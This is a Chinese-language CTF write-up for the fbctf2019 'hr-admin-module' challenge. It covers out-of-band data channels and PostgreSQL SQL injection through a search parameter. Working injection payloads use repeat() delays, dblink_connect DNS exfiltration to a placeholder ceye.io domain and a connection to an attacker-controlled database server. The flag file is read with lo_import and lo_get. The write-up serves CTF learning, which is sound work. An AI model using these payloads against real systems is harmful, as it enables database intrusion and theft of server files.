前言
之前看到fbctf的时候看到了这道题,但是一直没找到时间好好学习一下,这次某公司的比赛网络与信息安全领域专项赛——按F注入又碰到了一样的环境(真的就是一摸一样,可是最后卡在读文件一直读不出来,才想起来要学习一下这种方式。
知识
带外通道(OOB)
带外通道技术(OOB)让攻击者能够通过另一种方式来确认漏洞的存在。在这种没有任何回显或者表现得漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP/UDP/ICMP 请求,然后,攻击者可以通过这个请求来提取数据。一次 OOB 攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。
在Web中通常在以下场景会使用带外通道:
命令执行
SQL注入
XXE
带外通道得方式:
http方式:
http://domain.com/?secret=xxxxx 带出得信息位于get参数中
http://domain.com/xxxxx 带出得信息位于路径中
也可以放在cookie中或者post参数里
dns方式
curlxxxx.domain.com带出得信息位于域名当中
http方式和dns方式都有其局限性,DNS回显是有限制的,根据域名的规则,域名只能使用英文字符,数字,-,且-不能用作开头和结尾,域名长度也不可以超过63.
http方式和dns方式都需要注意编码得问题,否则影响其本身的结构
题目为例
fbctf2019 hr-admin-module
打开题目后,看到首页,首先最引人瞩目的应该就是File manager地方下的红色报错信息,该信息泄露了敏感文件的具体路径,/var/lib/postgresql/data/secret,并提示我们当前用户没有足够的权限,初步猜测这应该是题目想要我们获取的目标。
根据敏感文件路径,我们可以初步判定这个web应用在后端采用postgresql来进行存储。
在对网站进行初步的信息搜集,比如先扫描目录看看是否有敏感文件泄露,当然这里不是这道题目的核心,只是顺带提一句一般的做题或者渗透的思路,然后查看网站与后端有什么地方交互,比如
在这三处与网站交互的地方,user_search是在前端禁止的,前端禁止就等于没有禁止,不过可以直接通过get方法请求发送,既然题目明确对这里做了限制,那就提示我们漏洞点应该在这里,因此对这个user_search点进行测试(这里对语句需要执行多次,查询看起来是异步的,发送第二次查询才会返回第一次查询结果)。
/?user_search=1 返回正常
/?user_search=1' 返回warning提示
这里提示我们这个点可能存在注入,继续测试
/?user_search=1'and1=0-- 返回正常
/?user_search=1'and1=1-- 返回正常
这里我们猜测网站的逻辑,可能只有拼接后的sql语句出错,才会返回warning提示,那我们从这需要排除报错注入,以及布尔盲注,因为即使构造的语句出错,并不返回错误的具体信息,并且布尔拼接的语句都是可以正常执行的,在前端返回并不会有不同的表现。
我们可以继续利用order by来测试返回的columns数
/?user_search=1'orderby1-- 返回正常
/?user_search=1'orderby2-- 返回正常
/?user_search=1'orderby3-- 返回warning提示
通过order by可以判断出user_search这个点返回的columns数为2,但是我们仍然不能获取信息,能否配合条件语句来控制?这个也许可以考虑
/?user_search=1' unionselect1,2-- 返回warning提示
/?user_search=1' union select 1,'mote' -- 返回正常
/?user_search=1'unionselect'mote','mote'-- 返回warning提示
这里可以判断对应列的属性为数值还是非数值类型(比如字符串和NULL值),说明column1为数值类型,column2为非数值类型
相关实验:SQL注入原理与实践
扫描下面二维码,或点击合天网安实验室(PC端操作最佳哟)
方法一:延时注入
顺着做题的思路,那是否可以进行延时盲注呢?在postgrest数据库中的延时函数有
pg_sleep(seconds)pg_sleep_for(interval)pg_sleep_until(timestampwithtimezone)pg_sleep让当前的会话进程休眠seconds秒以后再执行。seconds是一个doubleprecision类型的值,所以可以指定带小数的秒数。pg_sleep_for 对于指定为interval的较长睡眠时间是一个便利函数。pg_sleep_until在需要特定唤醒时间时比较便利。SELECTpg_sleep(1.5);SELECTpg_sleep_for('5 minutes');SELECTpg_sleep_until('tomorrow 03:00');
下面测试延时:
/?user_search=1' unionselect1,pg_sleep(5)-- 返回warning提示
/?user_search=1' union select 1,cast(pg_sleep(5) as text) -- 要转换一下类型,返回正常,但是没有延时
/?user_search=1'unionselect1,cast(pg_sleep_for('0.1 minutes')astext)-- 返回正常,但是没有延时
说明正常的延时函数都被过滤了,但是repeat()方法可以导致延时(参考https://balsn.tw/ctf_writeup/20190603-facebookctf/)
/?user_search=1' unionselect1,(selectcasewhen1=1then(selectrepeat('a',10000000))elseNULLend)--
这样就可以获得一个延时注入的点,注入脚本如下(by balsn):
https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py
可以获得如下基本信息:
version:(Debian 11.2-1.pgdg90+1)current_db:docker_dbcurrent_schema:publictableof public: searchescolumnsof searches: id,search
searches表是空表
方法二:信息带外
在PostgreSQL中,存在dblink模块,可以外联数据库或者当前数据库,通过dblink_send_query来异步执行操作,但是同时因为会对host进行dns查询,因此,可以利用这个函数来把查询得到的信息通过DNS的方式传送出来。
/?user_search=1' unionselect1,(selectdblink_connect(''))-- 没有提示warning,所以语句是正常的
/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT version()) ||'xxxx.ceye.iouser=apassword=a dbname=test')) -- 查询版本,还可以使用另外一种方法
/?user_search=1'unionselect1,(selectdblink_connect('host='|| (SELECTcurrent_setting('server_version_num')) ||'.xxxx.ceye.io user=a password=a dbname=test'))-- 查询到版本数字
/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT current_database()) || '.xxxx.ceye.iouser=apassword=a dbname=test')) -- 查询到当前连接的数据库
顺着这个方法可以搜集数据库的一些信息,如方法一。
方法三:外联数据库
在VPS上部署一个PostgreSQL服务器,监控PostgreSQL的接收端口,设置连接的用户和密码为自己设置的即可,PostgreSQL默认不使用SSL加密通信数据,所以我们可以直接看到数据是明文传输的。
首先设置配置文件中listen_addresses为*,监听所有地址(配置文件默认为postgresql.conf也在/var/lib/postgresql/data/下)
使用tcpdump来监控数据
sudotcpdump -nX -i eth0 port5432
尝试下连接该数据库,看能否抓到数据
/?user_search=1' unionselect1,(selectdblink_connect('host=192.168.66.38:5433 user='|| (SELECTcurrent_database()) ||' password= dbname=test'))--
在读version()等一些信息的时候需要注意进行编码,否则字符串里的空格会破坏dblink_conncet的字符串参数结构。
/?user_search=1' UNIONSELECT1,(SELECTdblink_connect('host=xxx port=xxx user=@'||(SELECT+encode(cast(current_setting('server_version')+as+bytea),'base64'))||' password=postgres dbname=postgres'))--
通过上述三种方法并没有在数据库中发现什么有用的信息,并且唯一的表searches表也是空的,因此考虑读取文件,回到题目一开始的提示,这应该是暗示我们要读取/var/lib/postgresql/data/secret文件了。但是当前用户为docker,不够权限执行系统管理员才能执行的函数pg_read_file(),pg_ls_dir()orpg_stat_file()。
因此我们需要找到一种方法来读取到/var/lib/postgresql/data/secret文件,/var/lib/postgresql/data/是postgresql的默认数据存储目录。
这里稍微记录下碰到这种情况也就是需要绕过的时候的做法,一般都是谷歌百度,然后阅读文档,另外可以自己起一个环境去搜索相关的函数。例如在这里,balsn的做法是另外起一个环境:
SELECT proname FROM pg_proc WHERE proname like '%file%'; 查询所有带有file的函数
但是这些函数都似乎没起作用
可以看到第一个方法,通过查阅文档(学会阅读文档很重要!)
在将服务器端lo_import和lo_export函数授权给非超级用户时需要仔细考虑安全隐患。具有此类权限的恶意用户可以轻松地将其变为超级用户(例如,通过重写服务器配置文件),或者可以攻击服务器的其余文件系统,而无需获取数据库超级用户权限。因此,对这两个函数的权限授予必须谨慎。
回到题目中来,lo_import方法可以读取文件为postgres对象
/?user_search=1' unionselect1,(selectdblink_connect('host='|| (SELECTlo_import('/var/lib/postgresql/data/secret')) ||'.xxxx.ceye.io user=a password=a dbname=test'))--
返回了对应的oid
这说明这里我们可以使用lo_xx等一系列的方法
我们可以通过查询pg_largeobject_metadata表来获得所有的大对象的oid
/?user_search=1' UNIONSELECT1,(SELECTdblink_connect('host=IP user='|| (SELECTstring_agg(cast(l.oidastext),':')FROMpg_largeobject_metadata l) ||' password=postgres dbname=postgres'))--
然后我们通过lo_get方法,来读取对应oid的object的值,因为读取后的值时bytea类型,需要进行转码比如UTF8
/?user_search=1' unionselect1,(selectdblink_connect('host='||substring(convert_from(lo_get(16444),'utf8'),1,30) ||'.xxxx.ceye.io user=a password=a dbname=test'))--
最后flag就在oid为16444的对象中
参考链接
https://balsn.tw/ctf_writeup/20190603-facebookctf/
https://xz.aliyun.com/t/5399
https://github.com/fbsamples/fbctf-2019-challenges/tree/master/web
https://github.com/PDKT-Team/ctf/tree/master/fbctf2019/hr-admin-module
https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md
https://www.postgresql.org/docs/11/dblink.html
https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py
http://www.postgres.cn/docs/9.4/functions-datetime.html#FUNCTIONS-DATETIME-DELAY
https://www.postgresql.org/docs/11/dblink.html